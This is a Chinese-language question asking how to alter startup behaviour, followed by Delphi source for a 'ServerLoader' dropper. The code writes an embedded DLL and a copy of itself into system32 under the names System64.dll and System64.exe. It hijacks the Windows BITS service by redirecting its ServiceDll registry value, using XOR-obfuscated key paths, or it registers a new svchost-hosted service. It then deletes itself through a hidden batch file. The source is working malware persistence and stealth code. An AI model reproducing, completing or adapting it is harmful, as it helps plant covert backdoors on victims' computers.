不要改服务启动。就正常启动。这段以后的全不要好像不行哦。
if Configuracion.sServerType = '0' then       //0 BITS替换 1新建服务program ServerLoader;uses
  Windows,
  SysUtils, 
  WinSvc,
  FunUnit,
  Unit_Server,
  UnitFunciones,  TlHelp32;const
  MasterMutex = '123'; //  互斥体
//  MasterServiceName = 'BITS';               //  服务名称var
  hkParam: HKEY = 0;
  hkSB: HKEY;  szBuffer: Array[0..MAX_PATH - 1] of char;
  StrDLLPath,SetupExe: String;
  ConfigInfo : String;
  MasterServiceName:Pchar;
//  保存DLL
function ServerSaveFile(SaveFile:String):Boolean;
var
  hFile:THandle;
  BytesWrite: dword;
begin
  Result:=False;
  hFile := CreateFile(Pchar(SaveFile),GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,nil,CREATE_ALWAYS,0,0);
  if hFile = INVALID_HANDLE_VALUE then Exit;
  if WriteFile(hFile,ServerBuf,ServerSize, BytesWrite, nil) then Result:=True;
  CloseHandle(hFile);
end;Function EncryptText(Text: String): String;//XOR加密
Var
  I     :Word;
  C     :Word;
Begin
  Result := '';
  For I := 1 To Length(Text) Do
    Begin
      C := Ord(Text[I]);
      Result := Result + Chr((C Xor 520));
    End;
End;procedure KillMe;  //删除自身
var
  F: textfile;
  BatchFileName: string;
  ProcessInfo: TProcessInformation;
  StartUpInfo: TStartupInfo;
begin
  BatchFileName := GetSysPath + 'KMe.bat';
  AssignFile(F, BatchFileName);
  Rewrite(F);
//  WriteLn(F, ':Try');
  WriteLn(F, 'Del "' + ParamStr(0) + '"');
//  WriteLn(F, 'if exist "' + ParamStr(0) + '"' + ' goto Try');
  WriteLn(F, 'Del %0');
  CloseFile(F);
  FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
  StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartUpInfo.wShowWindow := SW_HIDE;
  if CreateProcess(nil, PChar(BatchFileName), nil, nil, False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo, ProcessInfo) then
  begin
    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
  end;
end;begin
   ConfigInfo := ReadSettings();  //读取自己获取配置
  if ConfigInfo<>'' then
  begin
  Configuracion.sServerName    := Split(ConfigInfo,'|',4);     //服务安装名
  Configuracion.sServerName2   := Split(ConfigInfo,'|',5);     //服务显示名
  Configuracion.sServerText    := Split(ConfigInfo,'|',6);     //服务描述
  Configuracion.sServerType    := Split(ConfigInfo,'|',7);     //服务启动类型
  MasterServiceName:= PChar(Split(ConfigInfo,'|',4));         //服务安装名
  end else begin Configuracion.sServerType:= '0';
  end;  //  释放DLL
  ZeroMemory(@szBuffer, MAX_PATH);
  szBuffer[GetSystemDirectory(szBuffer, MAX_PATH)] := #00;  StrDLLPath := String(szBuffer);
  //复制exe到目录
  SetupExe:= StrDLLPath + '\' + 'System64.exe';          //SetupExe;
  CopyFile(pchar(paramstr(0)), pchar(SetupExe),false);   //复制到系统system32目录
  //复制DLL到目录
  StrDLLPath := StrDLLPath + '\' + 'System64.dll';  if ServerSaveFile(StrDLLPath) then
  begin    if Configuracion.sServerType = '0' then       //0 BITS替换 1新建服务
    begin    MasterServiceName:='BITS';    //OutputDebugString('Free DLL Done!');
    //  设置服务为禁用模式
    ConfigServiceEx(MasterServiceName, SERVICE_DISABLED);
    //  停止已有的服务
    StartServiceEx(nil, MasterServiceName, False);    //  修改注册表
    //OutputDebugString('替换服务BITS');
    //SYSTEM\CurrentControlSet\Services\BITS\Parameters  and SYSTEM\ControlSet003\Services\BITS\Parameters
    SetStrToReg(HKEY_LOCAL_MACHINE, PChar(EncryptText('[Q[\METK}zzmf|Kgf|zgd[m|T[mz~akm{TJA\[TXiziem|mz{')), 'ServiceDll', Pchar(StrDLLPath));
    SetStrToReg(HKEY_LOCAL_MACHINE, PChar(EncryptText('[Q[\METKgf|zgd[m|88;T[mz~akm{TJA\[TXiziem|mz{')), 'ServiceDll', Pchar(StrDLLPath));    //OutputDebugString(Pchar('Start DLL Service:' + StrDLLPath));
    //  设置服务为开机自启动模式
    ConfigServiceEx(MasterServiceName, SERVICE_AUTO_START);
    //  重新开启服务
    StartServiceEx(nil, MasterServiceName, True);
    end else  begin
    InstallService(Configuracion.sServerName,Configuracion.sServerName2,'%SystemRoot%\system32\svchost.exe -k netservice',Configuracion.sServerText);  //安装服务:服务名、安装显示服务名、路径、描述
    
         //=============== 添加svchost服务启动
          if RegOpenKeyEx(HKEY_LOCAL_MACHINE, PChar('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost'), 0,KEY_ALL_ACCESS, hkSB)= ERROR_SUCCESS then
          begin
            RegSetValueEx(hkSB, 'netservice', 0, REG_multi_SZ, pchar(MasterServiceName),strlen(pchar(MasterServiceName)) + 1);
            RegCloseKey(hkSB);
          end;
          //============== 设置下服务!
          if RegOpenKeyEx(HKEY_LOCAL_MACHINE, PChar('SYSTEM\CurrentControlSet\Services\' + MasterServiceName), 0, KEY_ALL_ACCESS, hkSB) =
            ERROR_SUCCESS then
          begin
            RegSetValueEx(hkSB, 'DependOnGroup', 0, REG_MULTI_SZ, Pchar(''), Length('')+ 1);
            RegSetValueEx(hkSB, 'DependOnService', 0, REG_MULTI_SZ, Pchar('RpcSs'),Length('RpcSs') + 1);
            RegCreateKey(hkSB, 'Enum', hkParam);
            RegSetValueEx(hkParam, '0', 0, REG_SZ, pchar('Root\LEGACY_' + MasterServiceName +'\0000'),strlen(pchar('Root\LEGACY_' + MasterServiceName +'\0000')) + 1);
            RegCloseKey(hkSB);
          end;    SetStrToReg(HKEY_LOCAL_MACHINE, PChar('SYSTEM\CurrentControlSet\Services\'+MasterServiceName+'\Parameters'), 'ServiceDll', Pchar(StrDLLPath));
    StartServiceEx(nil, MasterServiceName, True);
    end;
  end;
  KillMe;
  ExitProcess(0);
end.